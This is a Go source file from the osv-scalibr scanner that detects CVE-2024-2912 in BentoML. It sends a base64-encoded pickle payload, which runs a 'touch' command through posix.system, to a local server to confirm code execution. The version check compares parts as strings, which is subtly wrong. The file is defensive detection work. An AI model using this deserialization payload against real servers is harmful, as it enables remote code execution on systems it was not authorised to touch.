github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve20242912/cve20242912.go (about) 1 // Copyright 2025 Google LLC 2 // 3 // Licensed under the Apache License, Version 2.0 (the "License"); 4 // you may not use this file except in compliance with the License. 5 // You may obtain a copy of the License at 6 // 7 // http://www.apache.org/licenses/LICENSE-2.0 8 // 9 // Unless required by applicable law or agreed to in writing, software 10 // distributed under the License is distributed on an "AS IS" BASIS, 11 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 // See the License for the specific language governing permissions and 13 // limitations under the License. 14 15 // Package cve20242912 implements a detector for CVE-2024-2912. 16 // To test this detector locally, install a vulnerable version of BentoML and its dependencies. 17 // python3 -m venv bentoml_env; source bentoml_env/bin/activate; 18 // pip install transformers==4.37.2; pip install torch==2.2.0; pip install pydantic==2.6.1; pip install bentoml==1.2.2; 19 // 20 // Once installed, create a service.py file as shown in the documentation: https://github.com/bentoml/quickstart/blob/main/service.py 21 // Serve the application using the following command: 22 // bentoml serve service:Summarization 23 package cve20242912 24 25 import ( 26 "bytes" 27 "context" 28 "encoding/base64" 29 "fmt" 30 "io/fs" 31 "net" 32 "net/http" 33 "os" 34 "strconv" 35 "strings" 36 "time" 37 38 "github.com/google/osv-scalibr/detector" 39 "github.com/google/osv-scalibr/extractor" 40 "github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg" 41 scalibrfs "github.com/google/osv-scalibr/fs" 42 "github.com/google/osv-scalibr/inventory" 43 "github.com/google/osv-scalibr/log" 44 "github.com/google/osv-scalibr/packageindex" 45 "github.com/google/osv-scalibr/plugin" 46 47 osvpb "github.com/ossf/osv-schema/bindings/go/osvschema" 48 structpb "google.golang.org/protobuf/types/known/structpb" 49 ) 50 51 type bentomlPackageNames struct { 52 packageType string 53 name string 54 fixedVersion string 55 } 56 57 const ( 58 // Name of the detector. 59 Name = "cve/cve-2024-2912" 60 61 payloadPath = "/tmp/bentoml-poc-CVE-2024-2912" 62 bentomlServerPort = 3000 63 defaultTimeout = 5 * time.Second 64 schedulerTimeout = 40 * time.Second 65 bentomlServerIP = "127.0.0.1" 66 ) 67 68 var ( 69 // Base64 encoded payload b'\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c$touch /tmp/bentoml-poc-CVE-2024-2912\x94\x85\x94R\x94.' 70 pickledPayload = []byte("gASVPwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCR0b3VjaCAvdG1wL2JlbnRvbWwtcG9jLUNWRS0yMDI0LTI5MTKUhZRSlC4=") 71 bentomlPackages = []bentomlPackageNames{ 72 { 73 packageType: "pypi", 74 name: "bentoml", 75 fixedVersion: "1.2.5", 76 }, 77 } 78 ) 79 80 // Detector is a SCALIBR Detector for CVE-2024-2912. 81 type Detector struct{} 82 83 // New returns a detector. 84 func New() detector.Detector { 85 return &Detector{} 86 } 87 88 // Name of the detector. 89 func (Detector) Name() string { return Name } 90 91 // Version of the detector. 92 func (Detector) Version() int { return 0 } 93 94 // Requirements of the detector. 95 func (Detector) Requirements() *plugin.Capabilities { 96 return &plugin.Capabilities{DirectFS: true, RunningSystem: true, OS: plugin.OSLinux} 97 } 98 99 // RequiredExtractors returns an empty list as there are no dependencies. 100 func (Detector) RequiredExtractors() []string { return []string{wheelegg.Name} } 101 102 // DetectedFinding returns generic vulnerability information about what is detected. 103 func (d Detector) DetectedFinding() inventory.Finding { 104 return d.findingForPackage(nil, nil) 105 } 106 107 func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding { 108 bentoMlPkg := &extractor.Package{ 109 Name: "bentoml", 110 PURLType: "pypi", 111 } 112 return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{ 113 Package: pkg, 114 Vulnerability: &osvpb.Vulnerability{ 115 Id: "CVE-2024-2912", 116 Summary: "CVE-2024-2912", 117 Details: "CVE-2024-2912", 118 Affected: inventory.PackageToAffected(bentoMlPkg, "1.2.5", &osvpb.Severity{ 119 Type: osvpb.Severity_CVSS_V3, 120 Score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", 121 }), 122 DatabaseSpecific: dbSpecific, 123 }, 124 }}} 125 } 126 127 func findBentomlVersions(px *packageindex.PackageIndex) (string, *extractor.Package, string) { 128 for _, r := range bentomlPackages { 129 pkg := px.GetSpecific(r.name, r.packageType) 130 if len(pkg) > 0 { 131 p := pkg[0] 132 return p.Version, p, r.fixedVersion 133 } 134 } 135 return "", nil, "" 136 } 137 138 // CheckAccessibility checks if the BentoML server is reachable 139 func CheckAccessibility(ctx context.Context, ip string, port int) bool { 140 target := fmt.Sprintf("http://%s/summarize", net.JoinHostPort(ip, strconv.Itoa(port))) 141 142 req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil) 143 if err != nil { 144 log.Infof("Error creating request: %v", err) 145 return false 146 } 147 148 client := &http.Client{Timeout: defaultTimeout} 149 resp, err := client.Do(req) 150 if err != nil { 151 log.Infof("Request failed: %v", err) 152 return false 153 } 154 defer resp.Body.Close() 155 return true 156 } 157 158 // ExploitBentoml sends payload to the BentoML service 159 func ExploitBentoml(ctx context.Context, ip string, port int) bool { 160 target := fmt.Sprintf("http://%s/summarize", net.JoinHostPort(ip, strconv.Itoa(port))) 161 162 payload, err := base64.StdEncoding.DecodeString(string(pickledPayload)) 163 if err != nil { 164 log.Infof("Payload decode failed: %v", err) 165 return false 166 } 167 168 ctx, cancel := context.WithTimeout(ctx, defaultTimeout) 169 defer cancel() 170 171 req, err := http.NewRequestWithContext(ctx, http.MethodPost, target, bytes.NewBuffer(payload)) 172 if err != nil { 173 log.Infof("Error creating request: %v", err) 174 return false 175 } 176 req.Header.Set("Content-Type", "application/vnd.bentoml+pickle") 177 178 client := &http.Client{} 179 resp, err := client.Do(req) 180 if err != nil { 181 log.Infof("Error sending request: %v\n", err) 182 return false 183 } 184 defer resp.Body.Close() 185 186 // The payload is expected to trigger a 400 Bad Request status code 187 if resp.StatusCode != http.StatusBadRequest { 188 log.Infof("Unexpected status code: %d\n", resp.StatusCode) 189 return false 190 } 191 192 return true 193 } 194 195 func fileExists(filesys scalibrfs.FS, path string) bool { 196 _, err := fs.Stat(filesys, path) 197 return !os.IsNotExist(err) 198 } 199 200 // Scan checks for the presence of the BentoML CVE-2024-2912 vulnerability on the filesystem. 201 func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) { 202 bentomlVersion, pkg, fixedVersion := findBentomlVersions(px) 203 if bentomlVersion == "" { 204 log.Debugf("No BentoML version found") 205 return inventory.Finding{}, nil 206 } 207 208 bv := strings.Split(strings.TrimLeft(strings.ToLower(bentomlVersion), "v"), ".") 209 fbv := strings.Split(fixedVersion, ".") 210 if len(bv) < 3 { 211 log.Infof("Unable to parse version: %q", bentomlVersion) 212 return inventory.Finding{}, nil 213 } 214 215 // Check if the installed version is lower than the fixed. 216 isVulnVersion := false 217 if bv[0] < fbv[0] { 218 isVulnVersion = true 219 } else if bv[0] == fbv[0] && bv[1] < fbv[1] { 220 isVulnVersion = true 221 } else if bv[0] == fbv[0] && bv[1] == fbv[1] && bv[2] < fbv[2] { 222 isVulnVersion = true 223 } 224 225 if !isVulnVersion { 226 log.Infof("Version not vulnerable: %q", bentomlVersion) 227 return inventory.Finding{}, nil 228 } 229 230 log.Infof("Version is potentially vulnerable: %q", bentomlVersion) 231 232 if !CheckAccessibility(ctx, bentomlServerIP, bentomlServerPort) { 233 log.Infof("BentoML server not accessible") 234 return inventory.Finding{}, nil 235 } 236 237 if !ExploitBentoml(ctx, bentomlServerIP, bentomlServerPort) { 238 log.Infof("BentoML exploit unsuccessful") 239 return inventory.Finding{}, nil 240 } 241 242 log.Infof("Exploit complete") 243 244 if !fileExists(scanRoot.FS, payloadPath) { 245 log.Infof("No POC file detected") 246 return inventory.Finding{}, nil 247 } 248 249 log.Infof("BentoML version %q vulnerable", bentomlVersion) 250 251 err := os.Remove(payloadPath) 252 if err != nil { 253 log.Infof("Error removing file: %v", err) 254 } 255 log.Infof("Payload file removed") 256 257 dbSpecific := &structpb.Struct{ 258 Fields: map[string]*structpb.Value{ 259 "extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}}, 260 }, 261 } 262 return d.findingForPackage(dbSpecific, pkg), nil 263 }